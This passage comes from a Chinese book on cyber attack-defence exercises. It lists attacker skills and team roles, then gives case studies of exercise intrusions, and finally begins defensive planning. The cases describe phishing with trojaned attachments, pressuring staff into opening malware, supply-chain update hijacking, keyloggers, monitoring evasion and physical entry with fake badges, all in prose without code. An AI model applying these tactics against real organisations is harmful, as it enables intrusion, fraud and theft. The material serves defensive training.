来识别文件内包含的内容和代码。Binwalk不仅可以对标准格式文件进 行分析和提取,还能对非标准格式文件进行分析和提取,包括压缩文 件、二进制文件、经过删节的文件、经过变形处理的文件、多种格式 相融合的文件等。 4)OllyDbg。OllyDbg是一款强大的反汇编工具,结合了动态调试 与静态分析等功能。它是一个用户模式调试器,可识别系统重复使用 的函数并将其参数注释。OllyDbg还可以调试多线程应用程序,从一个 线程切换到另一个线程、挂起、恢复和终止,或改变它们的优先级。 5)Peach Fuzzer。Peach Fuzzer是一款智能模糊测试工具,广泛 用于发现软件中的缺陷和漏洞。Peach Fuzzer有两种主要模式:基于 生长的模糊测试和基于变异的模糊测试。 7. 编写PoC或EXP等高级利用 前文已经介绍了PoC和EXP的概念,这里不再赘述。相较于针对Web 应用和智能硬件/IoT设备编写PoC或EXP,针对各种类型的操作系统和 安全设备编写PoC或EXP要更加困难。高阶能力中,比较受关注的操作 系统平台有Android、iOS、Linux、macOS。 1)Android平台代码能力。Android是由谷歌公司和开放手机联盟 领导及开发的操作系统,主要用于移动设备,如智能手机和平板电脑 上。这里Android平台代码能力代指在Android操作系统上找到漏洞并 利用漏洞编写PoC或EXP的能力。 2)iOS平台代码能力。iOS是由苹果公司开发的移动操作系统,主 要用于iPhone、iPod touch、iPad上。这里iOS平台代码能力代指在 iOS操作系统上找到漏洞并利用漏洞编写PoC或EXP的能力。 3)Linux平台代码能力。Linux主要用于服务器的操作系统, Ubuntu、CentOS等均属基于Linux内核基础上开发的操作系统。这里 Linux平台代码能力代指在Linux操作系统上找到漏洞并利用漏洞编写 PoC或EXP的能力。 4)macOS平台代码能力。macOS是由苹果公司开发的操作系统,主 要用于Macintosh系列电脑上。macOS的架构与Windows不同,很多针对 Windows的电脑病毒在macOS上都无法攻击成功。这里macOS平台代码能 力代指在macOS操作系统上找到漏洞并利用漏洞编写PoC或EXP的能力。 在实战化环境中,经常会使用的网络安全设备和系统有IP密码 机、安全路由器、线路密码机、防火墙、安全服务器、公开密钥基础 设施(PKI)系统、授权证书(CA)系统、安全操作系统、防病毒软 件、网络/系统扫描系统、入侵检测系统、网络安全预警与审计系统 等。网络安全设备本身也会存在各种各样的安全漏洞,在近年来的实 战攻防演练中,对此类漏洞的利用越来越多。这里网络安全设备代指 在各类网络安全设备中找到漏洞并利用漏洞编写PoC或EXP的能力。 8. 团队协作 攻击队主要包含行动总指挥、情报搜集人员、武器装备制造人 员、打点实施人员、社工钓鱼人员、内网渗透人员等角色。随着实战 攻防演练的不断深入,防守队的整体能力持续提升,这就使得攻击队 人员凭个人能力单打独斗取得胜利的希望越来越小。而由3~5人组成 的攻击小队,通过分工协作高效完成攻击行动的模式越来越成熟。是 否拥有团队协作的作战经验,团队中各成员分别扮演什么样的角色, 是蓝队实战化能力的重要指标。 团队作战,成功的关键是协作与配合。通常来说,每支攻击队的 成员都会有非常明确的分工和角色。在实战攻防演练中,攻击队比较 常见的角色分工主要有6种,分别是行动总指挥、情报搜集人员、武器 装备制造人员、打点实施人员、社工钓鱼人员和内网渗透人员。 1)行动总指挥:通常是攻击队中综合能力最强的人,需要有较强 的组织意识、应变能力和丰富的实战经验。负责策略制订、任务分 发、进度把控等。 2)情报搜集人员:负责情报侦察和信息搜集,搜集的内容包括但 不限于目标系统的组织架构、IT资产、敏感信息泄露、供应商信息 等。 3)武器装备制造人员:负责漏洞挖掘及工具编写,是攻击队的核 心战斗力量,不仅要能找到并利用漏洞,还要力求在不同环境下达到 稳定、深入的漏洞利用。 4)打点实施人员:负责获取接入点,进行Web渗透等。找到薄弱 环节后,利用漏洞或社工等方法,获取外网系统控制权限;之后寻找 和内网连通的通道,建立据点(跳板)。 5)社工钓鱼人员:负责社工攻击。利用人的安全意识不足或安全 能力不足等弱点,实施社会工程学攻击,通过钓鱼邮件或社交平台等 进行诱骗,进而打入内网。 6)内网渗透人员:负责进入内网后的横向拓展。利用情报搜集人 员的情报结合其他弱点来进行横向拓展,扩大战果。尝试突破核心系 统权限,控制核心任务,获取核心数据,最终完成目标突破工作。 第5章 蓝队经典攻击实例 实战攻防演练中红队网络的部署情况各有特点,蓝队也会根据攻 击目标的不同而采取不同的攻击策略和手段。下面几个案例展示的就 是针对红队网络的不同薄弱点采取的不同的典型攻击策略与方法手 段。 5.1 正面突破:跨网段控制工控设备 某企业为一家国内的大型制造业企业,其内部生产网大量使用双 网卡技术实现网络隔离。在本次实战攻防演练中,攻击队的目标是获 取该企业工控设备的控制权限。 经过前期的情报搜集与分析,攻击队制定了首先突破办公内网, 再通过办公内网渗透进入工控网的战略部署。 (1)突破办公内网 攻击队首先选择将该企业的门户网站作为突破口,并利用一个 0day漏洞获取了该门户网站的应用及操作系统的管理员权限,从而获 取到该企业办公内网的接入权限。 在横向拓展过程中,攻击队又探测到该企业内网中的多个服务系 统和多台服务器。使用已经获得的门户网站管理员账号和密码进行撞 库攻击,成功登录并控制了该企业内网中的绝大多数服务器。这表 明,该企业内网中有大量系统服务器使用了相同的管理员账号和密 码。 至此,攻击队突破办公网的第一阶段目标顺利完成,并取得了巨 大的战果。接下来的目标就是找到工控网络的突破口。 (2)定位运维人员 经过对已攻破服务器系统的全面排查,攻击队发现,有多台服务 器中存储了用Excel明文记录的密码本,密码本中包含所有系统用户的 账号和密码。同时,服务器上还明文存储了大量内部敏感文件,包括 企业IT部门的组织架构等信息。结合组织架构及密码本信息,攻击队 成功定位到一位工控系统的运维人员,并对其联网行为展开长时间的 监控。 (3)突破工控网 经过一段时间的监控,攻击队发现该运维人员的办公终端上有嵌 套使用远程桌面的情况:首先通过远程桌面登录一台主机A,继而又用 主机A通过远程桌面登录另一网段的主机B。通过与密码本比对,发现 主机A和B都是该企业工控系统中的主机设备,但处于网络拓扑结构中 的不同层级。其中,主机B之下连有关键的工控设备。 进一步分析发现:主机A使用了双网卡,两个网卡分别对应不同网 段,但它们之间没有采取任何隔离措施;主机B也是一台双网卡主机, 其上部署了隔离卡软件用于双网卡切换。 最终,攻击队发现了主机B上隔离卡软件的一个重大设计缺陷,并 利用该缺陷成功绕过双网卡的隔离机制,成功获取到工控设备的操作 权限,可以随意停止、启动、复位相应的工控设备,某些操作可对设 备的生产过程造成直接且严重的伤害。 同时,攻击队的另一组人马继续摸排受控主机的用途和存储文 件。功夫不负有心人,攻击队最终又发现一台名为“生产主操作室” 的主机设备,其上存储有生产专用的文件,其中有一些涉密文件,这 些涉密文件一旦被窃取,后果难以想象。 5.2 浑水摸鱼:社工钓鱼,突破系统 某企业为一家国内的大型国有企业,该企业部署了比较完善的网 络安全防护设备。在本次实战攻防演练中,攻击队的目标是获取该企 业财务系统的控制权限。 经过前期的情报搜集与分析,目标企业外网的开放系统非常少, 也没有可利用的漏洞,很难直接突破目标外网,于是攻击队将突破重 点放在了钓鱼上。 (1)破解员工邮箱密码 攻击队通过网上搜索以及搜索一些开源社工库,搜集到一批目标 企业的工作人员邮箱列表。掌握这批邮箱列表后,攻击队便根据已泄 露的密码规则、123456和888888等常见弱口令、用户名与密码相同、 用户名123这种弱口令生成了一份弱口令字典。利用hydra等工具进行 爆破,攻击队成功破解一名员工的邮箱密码。 (2)改造和伪装钓鱼邮件 攻击队对该名员工的来往邮件进行分析后发现,他是IT技术部员 工。查看该邮箱发件箱,看到他发过一封邮件,邮件标题和附件如 下。 标题:关于员工关掉445端口以及3389端口的操作过程 附件:操作流程.zip 攻击队决定浑水摸鱼,在此邮件的基础上进行改造和伪装,构造 钓鱼邮件,邮件标题和附件如下。其中,zip文件为带有木马的压缩文 件。 标题:关于员工关掉445端口以及3389端口的操作补充 附件:操作流程补充.zip (3)根据身份精准钓鱼 为提高攻击成功率,通过对目标企业员工的分析,攻击队决定向 财务部门以及几个与财务相关的部门群发邮件。 攻击队发送了一批邮件,有好几个企业员工都被骗,打开了附 件。控制了更多的主机,继而便控制了更多的邮箱。在钓鱼邮件的制 作过程中,攻击队灵活根据目标的角色和特点来构造。譬如在查看邮 件过程中,发现如下邮件: 尊敬的各位领导和同事,发现钓鱼邮件事件,内部定义为19626事 件,请大家注意后缀为.exe、.bat等的邮件附件。 攻击队同样采用浑水摸鱼的策略,利用以上邮件为母本,以假乱 真地构造以下邮件继续钓鱼: 尊敬的各位领导和同事,近期发现大量钓鱼邮件,以下为检测程 序…… 附件:检测程序.zip 通过不断地获取更多的邮箱权限、系统权限,根据目标角色针对 性地设计钓鱼邮件,攻击队最终成功拿下目标。 5.3 偷梁换柱:冒充客户,突破边界 某大型设备制造企业具有比较成熟的互联网服务经验。在本次实 战攻防演练中,攻击队的目标是获取该企业的一个核心业务管控平台 的控制权限。 攻击队在前期的情报搜集工作中发现,该企业内部的网络防御体 系比较健全,正面突破比较困难。经过头脑风暴,大家达成共识—— 通过社工方法迂回入侵。 (1)寻找社工突破口 攻击队首先想到的社工方法也是最常见的邮件钓鱼。但考虑到该 企业相对完善的网络防御体系,猜测其内网中很可能已经部署了邮件 检测类的防御手段,简单地使用邮件钓鱼,很有可能会被发现。 进一步的情报搜集发现,该企业使用了微信客服平台,而且微信 客服平台支持实时聊天和发送文件。考虑到客服人员一般没有很强的 技术功底,安全意识相对薄弱,攻击队最终商定:将社工对象确定为 微信客服人员,并以投诉为话题尝试对客服人员进行钓鱼(见图5- 1)。 图5-1 冒充客户 (2)冒充客户反馈问题 于是,一名攻击队队员开始冒充客户,在该企业的微信客服平台 上留言投诉,并要求客服人员接收名为“证据视频录像”的压缩文件 包。该压缩包实际上是攻击队精心伪造的带有木马程序的文件包。让 攻击队意想不到的是,该客服人员以安全为由,果断拒绝接收来源不 明的文件。显然,攻击队低估了该企业客服人员的安全素养。 (3)社工升级攻破心理防线 不过,攻击队并没有放弃,而是进一步采用多人协作的方式,对 当班客服人员进行了轮番轰炸,要求客服人员报上工号,并威胁将要 对其客服质量进行投诉。经过1个多小时的拉锯战,客服人员的心理防 线被攻破,最终接收了带毒压缩包,并打开了木马文件。该客服人员 的终端设备最终被控制。 以受控终端为据点,攻击队成功打入该企业的内网,后又利用一 个未能及时修复的系统漏洞获取到关键设备的控制权限,再结合从内 网搜集到的信息,最终成功获取到管控平台的权限。 5.4 声东击西:混淆流量,躲避侦察 某关键行业大型国有企业,配备了较强的网络安全团队进行安全 防护。在本次实战攻防演练中,攻击队的目标是获取该企业工控系统 等核心平台的控制权限。 在有红队(防守方)参与的实战攻防工作,尤其是有红队排名或 通报机制的工作中,红队与蓝队通常会发生对抗。IP封堵与绕过、WAF 拦截与绕过、Webshell查杀与免杀,红蓝之间通常会展开没有硝烟的 战争。 (1)激烈攻防,难以立足 蓝队创建的跳板几个小时内就被阻断了,上传的Webshell过不了 几个小时就被查杀了。蓝队打到哪儿,红队就根据流量威胁审计跟到 哪儿,不厌其烦,蓝队始终在目标的外围打转。 (2)分析系统,制订方案 没有一个可以维持的据点,就没办法进一步开展内网突破。蓝队 开展了一次头脑风暴,归纳和分析流量威胁审计的天然弱点,以及红 队有可能出现的人员数量及技术能力不足等情况,并制定了一套声东 击西的攻击方案。 具体方法是:找到多个具有直接获取权限漏洞的系统,正面用大 流量进攻某个系统,吸引火力,侧面尽量减少流量直接获取权限并快 速突破内网。 蓝队通过信息搜集找到目标企业的某个外网Web应用,并通过代码 审计开展漏洞挖掘工作,发现多个严重的漏洞;另外还找到该企业的 一个营销网站,通过开展黑盒测试,发现该网站存在文件上传漏洞。 (3)兵分两路,声东击西 蓝队兵分两路:除队长外的所有成员主攻营销网站,准备了许多 分属不同IP网段的跳板,不在乎是否被发现,也不在乎是否封堵,甚 至连漏洞扫描器都用上了,力求对流量威胁分析系统开启一场规模浩 大的“分布式拒绝服务”,让红队的防守人员忙于分析和应对;而队 长则悄无声息地用不同的IP和浏览器指纹特征对Web应用开展渗透,力 求用最少的流量拿下服务器,让威胁数据淹没在营销网站的攻击洪水 当中(见图5-2)。 图5-2 流量数据混淆WAF穿透的主要手段 通过这样的攻击方案,蓝队同时拿下营销网站和Web应用。在营销 网站上的动作更多,包括关闭杀软、提权、安置后门程序、批量进行 内网扫描等众多敏感操作;同时在Web应用上利用营销网站上获得的内 网信息,直接建立据点,开展内网渗透操作。 (4)隐秘渗透,拿下权限 很快红队就将营销网站下线了,并开始根据流量开展分析、溯源 和加固工作;而此时蓝队已经在Web应用上搭建了FRP Socks代理,通 过内网横向渗透拿下多台服务器,使用了多种协议木马,并备份了多 个通道稳固权限,以防被红队发现或直接踢出局。接下来的几天服务 器权限再未丢失,蓝队继续后渗透,拿下域管理员、域控制器,最终 拿下目标权限——工控系统等核心平台的控制权限。 在渗透工作收尾的后期,蓝队通过目标企业安全信息中心的员工 邮件看到,红队此时依旧在对营销网站产生的数据报警进行分析和上 报防守战果等工作,然而该企业的目标系统早已被蓝队拿下了。 5.5 迂回曲折:供应链定点攻击 某超大型企业在实战攻防演练中,攻击队的目标是获取该企业内 部系统的安全管控权限。 攻击队通过前期的情报搜集和摸排后发现,该企业的办公网络及 核心工业控制系统有非常严密的安全防护,对互联网暴露的业务系统 较少,而且业务系统做了安全加固及多层防护,同时拥有较强的日常 网络安全运维保障能力。想要正面突破,非常困难。 前期情报分析还显示,该企业虽然规模大、人员多,但并不具备 独立的IT系统研发和运维能力,其核心IT系统的建设和运维实际上大 多来自外部采购或外包服务。于是,根据这一特点,攻击队制定了从 供应链入手的整体攻击策略。 (1)寻找目标供应商 攻击队首先通过检索“喜报”“中标”“签约”“合作”“验 收”等关键词,在全网范围内,对该企业的供应商及商业合作伙伴进 行地毯式排查,最终选定将该企业的专用即时通信系统开发商A公司作 为主要攻击目标。 情报显示,A公司为该企业开发的专用即时通信系统刚刚完成。攻 击队推测该系统目前尚处于测试阶段,A公司应该有交付和运维人员长 期驻场为该企业提供运维全服务。要是能拿下驻场人员的终端设备, 就可以进入该公司的内网系统。 (2)盗取管理员账号 分析发现,A公司开发的即时通信系统其公司内部也在使用,而该 系统的网络服务管理后台存在一个已知的系统安全漏洞。攻击队利用 该漏洞获取了服务器的控制权,并通过访问服务器的数据库系统,获 取了后台管理员的账号和密码。 (3)定位驻场人员 攻击队使用管理员的账号和密码登录服务器后,发现该系统的聊 天记录在服务器上是准明文(低强度加密或变换)存储的,而且管理 员可以不受限制地翻阅其公司内部的历史聊天记录。 攻击队对聊天记录进行关键字检索后发现:A公司有3名员工的聊 天记录中多次出现目标企业名、OA、运维等字眼,并且这3名员工的登 录IP经常落在目标企业的专属网段上。攻击队由此断定,这3名员工就 是A公司在目标企业的驻场人员。 (4)定向恶意升级包 攻击队最初的设想是,通过被控的即时通信软件服务器,向3名驻 场人员定向发送恶意升级包。但这种攻击方法需要修改服务器系统配 置,稍有不慎就可能扩大攻击面,给演练工作造成不必要的损失,同 时也有可能暴露自身的攻击活动。 为实现对3名驻场人员进行更加隐蔽的定向攻击,攻击队对A公司 的即时通信系统进行了更加深入的安全分析,发现其客户端软件对服 务器的身份安全验证、对升级包的合法性校验机制都存在设计缺陷。 于是,攻击队利用上述缺陷,通过中间人攻击对服务器推送给3名 驻场人员的客户端软件升级包进行了劫持和篡改。最终,3名驻场人员 都在没有任何感知的情况下,在各自的PC上安装了攻击队伪装设计的 恶意升级包。 (5)横向拓展 攻击队以驻场人员的运维机作为跳板机进入内网后,开始横向拓 展。 攻击队首先找到了该企业的一台域控服务器,并利用一个最新曝 出的域控系统安全漏洞,获取了该主域的域账号和密码的哈希信息。 但防守队很快发现了此次攻击,并对该域控服务器进行了隔离。 不过,攻击队并没有放弃,又在内网中找到了一套终端安全管理 系统。攻击队经过现场挖掘,找到了该系统的一个新的0day漏洞,并 利用该漏洞获取了管理员权限。在登录管理系统后台后,攻击方可下 发和执行任意命令,能够控制该安全管理系统所辖范围内的所有终端 设备。 5.6 李代桃僵:旁路攻击,搞定目标 某企业为大型商贸企业,在全国多个城市拥有子公司。在本次实 战攻防演练中,攻击队的目标是获取该企业内部核心平台的控制权 限。 (1)外网关闭,无从下手 在攻击过程中,蓝队碰到过很多怪异的事情,比如:有的红队将 网站首页替换成一张截图;有的将数据传输接口全部关闭,采用Excel 表格的方式进行数据导入;有的对内网目标系统的IP做了限定,仅允 许某个管理员IP访问。 本次蓝队就遇到了一件类似的事情:目标企业把外网系统能关的 都关了,甚至对邮件系统都制订了策略,基本上没有办法实现打点和 进入内网。 (2)改变策略,攻击分部 为此,蓝队经过充分的信息搜集后,决定采取“李代桃僵”的策 略:既然母公司无法进攻,那么就进攻二级子公司。然而蓝队在工作 过程中发现,子公司也做好了防护,基本上无懈可击。一不做,二不 休,二级子公司无法进攻,那么就攻击二级子公司下属的三级子公 司。图5-3所示为公司内部的信任通联常被攻击者利用的示例。 (3)逐个击破,层层渗透 于是,蓝队从三级子公司下手,利用SQL注入+命令执行漏洞成功 进入三级子公司A的DMZ区。然后,继续渗透、内网横向拓展,控制了 三级子公司的域控、DMZ服务器。在三级子公司A稳固权限后,尝试搜 集最终目标的内网信息、三级子公司信息,未发现目标系统信息,但 发现三级子公司A的内网可以访问二级子公司B的网络。 图5-3 公司内部的信任通联常被攻击者利用 蓝队决定利用三级子公司A的内网对子公司B展开攻击。利用 Tomcat弱口令+上传漏洞进入二级子公司B的内网,利用该服务器导出 的密码在内网中横向渗透,继而拿下二级子公司B的多台域服务器,并 在杀毒服务器中获取到域管理员的账号和密码,最终获取到二级子公 司B的域控制器权限。 (4)找准目标,获取权限 在二级子公司B内进行信息搜集发现:目标系统x托管在二级子公 司C,由二级子公司C单独负责运营和维护;二级子公司B内有7名员工 与目标系统x存在业务往来;7名员工大部分时间在二级子公司C办公, 但其办公电脑属于二级子公司B的资产,被加入二级子公司B的域,且 经常被带回二级子公司B。 根据搜集到的情报信息,蓝队以二级子公司B内的7名员工作为突 破口,在其接入二级子公司B内网后,利用域权限在其电脑中种植木马 后门。待其接入二级子公司C内网后,继续通过员工电脑实施内网渗 透,并获取二级子公司C的域控制权限。根据日志分析,锁定了目标系 统x的管理员电脑,继而获取目标系统x的管理员登录账号,最终获取 目标系统x的控制权限。 5.7 顺手牵羊:巧妙种马,实施控制 某企业为大型商贸企业,在全国多个城市拥有子公司。在本次实 战攻防演练中,攻击队的目标是获取该企业内部核心平台的控制权 限。 蓝队的工作永远不会像渗透测试那样,根据一个工作流程或者漏 洞测试手册,按照规范去做就能完成。蓝队的工作永远是具有随机 性、挑战性、对抗性的。在工作过程中,总会有各种出其不意的情况 出现,只有随机应变,充分利用出现的各种机遇,才能最终突破目 标、完成任务。蓝队这次的目标就是如此。 (1)攻击被发现,行动受阻 蓝队通过挖掘目标企业OA系统的0day漏洞,获得了Webshell权 限。然而脚跟还没站稳,红队的管理员便发现了OA系统存在异常,对 OA系统应用及数据库进行了服务器迁移,同时修复了漏洞,图5-4所示 为常见的示例。 图5-4 对外暴露的协同办公等业务系统是主要的被攻击对象 (2)利用存留后门脚本,继续发起攻击 本来是件令人沮丧的事情,然而蓝队在测试后发现:红队虽然对 OA系统进行了迁移并修复了漏洞,但是居然没有删除全部的Webshell 后门脚本;部分后门脚本仍然混杂在OA程序中,并被重新部署在新的 服务器上。攻击队通过连接之前植入的Webshell,顺利提权,拿到了 服务器权限。 拿到服务器权限后,蓝队发现红队的管理员居然连接到OA服务器 进行管理操作,并将终端PC主机的磁盘全部挂载到OA服务器上。蓝队 发现这是一个顺手牵羊的好机会。 (3)耐心等待时机,获取核心权限 蓝队小心翼翼地对管理员身份及远程终端磁盘文件进行确认,并 向该管理员的终端磁盘写入了自启动后门程序。经过一天的等待,红 队管理员果然重启了终端主机,后门程序上线。在获取到管理员的终 端权限后,蓝队很快发现,该管理员为单位运维人员,主要负责内部 网络部署、服务器运维管理等工作。该管理员使用MyBase工具对重要 服务器信息进行加密存储。攻击队通过键盘记录器,获取了MyBase主 密钥,继而对MyBase数据文件进行了解密,最终获取了包括VPN、堡垒 机、虚拟化管理平台等关键系统的账号及口令。 最终,蓝队利用获取到的账号和口令登录虚拟化平台,定位到演 练目标系统的虚拟主机,并顺利获取了管理员权限。至此,渗透工作 完成! 5.8 暗度陈仓:迂回渗透,取得突破 在有明确重点目标的实战攻防演练中,红队通常都会严防死守、 严阵以待,时刻盯着从外网进来的所有流量,不管你攻还是不攻,他 们都始终坚守在那里。一旦发现有可疑IP,他们会立即成段地封堵, 一点机会都不留。此时,从正面硬碰硬显然不明智,蓝队一般会采取 暗度陈仓的方式,绕过红队的防守线,从没有防守的地方开展迂回攻 击。蓝队这回遇到的就是这样一块硬骨头。 (1)防守固若金汤,放弃正面突破 蓝队在确定攻击目标后,对目标企业的域名、IP段、端口、业务 等信息进行搜集,并对可能存在漏洞的目标进行尝试性攻击。结果发 现,大多数目标要么已关闭,要么使用了高强度的防护设备。在没有 0day漏洞且时间有限的情况下,蓝队决定放弃正面突破,采取暗度陈 仓策略。 (2)调查公司业务,从薄弱环节入手 通过相关查询网站,蓝队了解到整个公司的子公司及附属业务的 分布情况,目标业务覆盖中国香港、中国台湾、韩国、法国等国家/地 区,其中中国香港的业务相对较多,极大可能有互相传送数据及办公 协同的内网,故决定将其业务作为切入点。 经过对中国香港业务进行一系列的踩点和刺探,蓝队在目标企业 的香港分部业务网站找到一个SA权限的注入点,成功登录后台并利用 任意文件上传完成getshell。通过数据库SA权限获取数据库服务器的 system权限,发现数据库服务器在域内且域管是登录状态。由于服务 器装有赛门铁克杀毒软件,因此采取添加证书的方式,成功绕过杀毒 软件并抓到域管密码,同时导出了域Hash及域结构。 (3)外围渗透,获取权限 由于在导出的域结构中发现了中国内地域的机器,蓝队开始尝试 从中国香港域向目标所在的中国内地域开展横向渗透。在中国内地域 的IP段内找到一台服务器并完成getshell,提权后抓取到此服务器密 码。利用抓取到的密码尝试登录其他服务器,成功登录一台杀毒服务 器,并在该杀毒服务器上成功抓到中国内地域的域管密码。使用域管 账号成功控制堡垒机、运维管理、VPN等多个重要系统。 通过大量的信息搜集,蓝队最终获得了渗透目标的IP地址,利用 前期搜集到的账号和密码成功登录目标系统,并利用任意文件上传漏 洞获取服务器权限。至此,整个渗透工作结束。 5.9 短兵相接:近源渗透,直入内网 某企业为大型金融企业,核心业务关系国计民生。因为行业特殊 性,其互联网侧的接口非常少,并且安全防护非常严密,没有可以利 用的突破条件。在外网无法直接突破的情况下,蓝队采用近源攻击的 方式,冒充目标企业内部人员进入其办公内网,利用其公共区内的安 全漏洞,成功接入其核心内网。 (1)前期侦察发现无懈可击,放弃常规网络突破手段 在开展网络攻击前,蓝队针对该目标进行了细致的信息搜集和侦 察,对公司总部、分支机构等名下的域名、IP以及开放的互联网业务 应用进行了仔细梳理,未发现可利用的地方。遂放弃了采用常规网络 突破手段,决定利用目标可能存在的人员管理漏洞开展攻击。 (2)利用办公区人员进出管理漏洞,冒充内部工作人员进入 通过对目标某子机构办公现场侦察,蓝队发现该子机构对进入目 标办公区的人员管理比较松懈:只要戴着单位工牌,就可直接进入办 公区,门口保安并不做过多的查验和辨识。蓝队遂在网上购买与该目 标同一样式的工牌,制作假身份信息,冒充内部工作人员,在办公时 间堂而皇之地进入目标办公区。 (3)利用无人值守主机,顺利接入内网 进入目标子机构办公大楼后,蓝队发现各楼层楼梯可随意穿行, 畅通无阻,办公区有无人值守工位计算机且有网线连接。蓝队来到无 人值守工位并通过U盘工具进行登录密码绕过,打开多台办公区电脑, 发现机器均为生产机器,网段在生产区内,可进行内网横向拓展。 (4)再接再厉,渗透控制核心业务系统 蓝队通过无人值守计算机接入生产网,对内网进行扫描探测,发 现了目标业务生产内网网关管理系统;通过默认口令控制内网网关管 理系统,并进一步控制生产区堡垒机,可控制堡垒机下所有核心业务 系统,还可以通过目标子机构和总部业务网络深入接触总部的业务相 关系统。因涉及数据安全,故终止操作。 第三部分 红队视角下的防御体系构建 在实战环境中的防护工作,无论是面对常态化的一般网络攻击, 还是面对有组织、有规模的高级攻击,对于防护单位而言,都是对其 网络安全防御体系的直接挑战。在实战环境中,红队防守需要按照备 战、临战、实战和总结四个阶段来开展安全防护工作,采取信息清 理、纵深防御、协同作战、溯源反制等防守策略以及防钓鱼、防信息 泄露等防护手段,全面确保有效构建红队防御体系。 第6章 红队防守的实施阶段 在实战环境下,无论是常态化的一般网络攻击,还是有组织、有 规模的高级攻击,对于防护单位而言,都是对其网络安全防御体系的 直接挑战。红队需要按照备战、临战、实战和总结4个阶段来开展安全 防护工作。 6.1 备战阶段:兵马未动,粮草先行 1. 管理方面 在管理方面,要建立合理的安全组织架构,明确工作职责,建立 具体的工作小组,同时结合工作小组的责任和内容,有针对性地制定 工作计划、技术方案、相关方协同机制及工作内容,责任到人、明确 到位,按照工作计划进行进度和质量把控,确保管理工作落实到位, 技术工作有效执行。 (1)备战阶段组织架构及职责分工 备战阶段组织架构如图6-1所示。 图6-1 备战阶段组织架构图 1)领导小组。为确保备战阶段的工作能顺利开展,应由最高级别 领导担任组长(局长、主任或集团副总以上级别),由高层领导组成 领导小组,统一领导、指挥和协调备战阶段的准备工作,定期听取备 战指挥组的工作汇报。领导小组的主要职责如下。 ·确认各工作组职责并将执行权力赋予备战指挥组。 ·确定战时目标(战略目标:零失分、保障排名等)。 ·审核并确定防护范围(是否包含下辖单位及子公司等)。 ·参与项目启动会。 ·提供经费及人员保障。 ·做出重大事件决策。 ·确定考核机制。 ·定期听取备战指挥组的工作汇报并做出批示(红线)。 2)备战指挥组。建议由负责演练防守的主责部门及其他协同部门 领导组成备战指挥组,具体组织安全自查与整改、防护与监测设备部 署、人员能力与意识提升、应急预案制定以及外协单位联络等战前准 备工作,与监管单位建立长效沟通机制,保持随时联络。备战指挥组 的主要职责如下。 ·向领导小组说明战时工作的背景、重要性及影响,引起领导重 视。 ·建立战时组织架构,明确各组工作职责。 ·结合现状评估和攻防演练评估得出防护风险后,提出战时目标 及防护范围建议,并提交领导小组审核。 ·建立工作机制,协调各工作组开展相关工作,并明确考核标 准。 ·编写工作方案及计划。 ·根据战时战略目标、工作方案核算资源投入(人员需求、设备 需求、场地需求等)情况。 ·组织战时工作的宣贯和培训。 ·监督、推动各工作组按计划落实工作。 ·总结问题并协调解决。 ·定期向领导小组汇报工作进展。 ·与战时组织机构保持良好沟通,及时获取相关信息。 3)网络工作组。一般由网络主管部门及其运维管理人员组成,负 责网络架构及网络设备(路由、交换、负载均衡、防火墙等)的梳 理、加固,协助安全工作组部署新增设备等网络相关工作。 ·资产梳理: ■网络架构、出口IP、域名梳理; ■网络设备资产及对应供应商梳理; ■集权系统(如网管系统)梳理。 ·网络架构梳理和优化: ■互联网区域和内网重要业务区域的业务路径排查与梳理; ■外连单位接入路径排查与梳理; ■网络设备运维访问路径梳理。 ·整改加固: ■网络设备互联网暴露整改; ■内网中无用网络资产清理; ■加密流量的调整; ■协助安全防护、监控设备部署; ■网络设备特权账号及基线检查(弱口令)排查整改; ■运维终端、跳板机自身风险检查与加固; ■演练作战室专用网络搭建; ■其他网络相关问题整改与加固。 4)安全工作组。一般由参演单位的安全运维团队和安全公司项目 组的部分成员组成,负责安全设备风险整改、新增安全设备部署等安 全防护相关工作。 ·资产梳理: ■安全设备资产及对应供应商梳理; ■集权系统梳理(如堡垒机、安全监控系统); ■口令安全专项梳理。 ·网络架构梳理优化: ■安全设备运维访问路径梳理; ■重要系统访问路径梳理。 ·整改加固: ■安全监控、防护、诱捕类设备部署与加固; ■运维终端、跳板机自身风险检查与加固; ■安全防护类设备可用性检查; ■安全设备基线检查与加固; ■安全设备安全加固; ■安全策略调优; ■账号和口令安全检查; ■VPN加固或下线; ■集权系统管控加固、策略优化; ■协助各工作组开展安全检查与加固。 5)基础环境工作组。一般由基础环境组、云服务商组成,负责应 用的基础环境(操作系统、中间件、云、容器)的资产梳理、风险识 别及整改等相关工作。 ·资产梳理: ■配合应用系统进行资产梳理; ■集权系统(如域控、云管平台、集群管理系统)梳理; ■云资产梳理。 ·整改加固: ■操作系统加固; ■特权账号梳理整改; ■操作系统检查、整改、加固,非必要服务及服务器关停下线; ■集权系统安全检查与加固; ■运维终端、跳板机自身风险检查与加固。 6)应用系统工作组。一般由应用系统开发商、运维商组成,负责 应用系统资产梳理、风险识别及整改等相关工作。 ·资产梳理: ■应用系统资产梳理,包括但不限于开发框架、组件、责任人、 系统重要性梳理; ■集权系统(如SSO、认证系统、4A系统)梳理; ■供应商梳理; ■非重要系统关停下线梳理; ■管理后台互联网开放情况梳理; ■重要系统(含靶标系统)关联应用梳理。 ·网络架构梳理和优化: ■网络访问路径梳理; ■运维访问路径梳理。 ·整改加固: ■弱口令、通用口令、默认口令整改; ■重要系统、集权系统基线检查; ■安全自查和整改; ■配合安装主机防护软件; ■删除安全工作组发现的泄露的敏感信息。 7)协调联络工作组。一般由参演单位及其集成商人员组成,负责 下级单位、供应商等的协调联络工作。 ·协助演练指挥组建立与下级单位相关的工作机制,向下级单位 下达相关工作指令,向备战指挥组反馈执行情况。 ·协助演练指挥组建立与供应商相关的工作机制,向供应商下达 安全管理和技术防护的相关工作要求,协调供应商提供人员、设备等 方面的支持。 ·与业务连接单位建立协同机制,情报共享,进行联防联控。 ·进行技术培训,包括战时防守的工作重点、具体工作内容、防 守流程等。 (2)实战阶段组织架构及职责分工 实战阶段组织架构如图6-2所示。 图6-2 实战阶段组织架构图 1)领导小组。为加强攻防演练的组织领导,确保攻防演练效果, 应成立演练领导小组,统一领导和指挥攻防演练工作。领导小组的主 要职责如下。 ·确认演练工作组职责并赋予指挥组执行权力。 ·参加战时实战阶段启动会,鼓舞士气。 ·做出重大安全事件决策。 ·进行危机公关。 2)演练指挥组。领导小组下设演练指挥组,组织和部署攻防演练 的工作任务,具体管理和协调攻防演练工作,向上级单位、战时指挥 部汇报工作。演练指挥组的主要职责如下。 ·防守策略的侧重点决策。 ·推动落实各小组的工作机制、流程、人员值班安排。 ·组织防守日例会,统计和分析当天防守成果并向领导小组输出 工作日报。 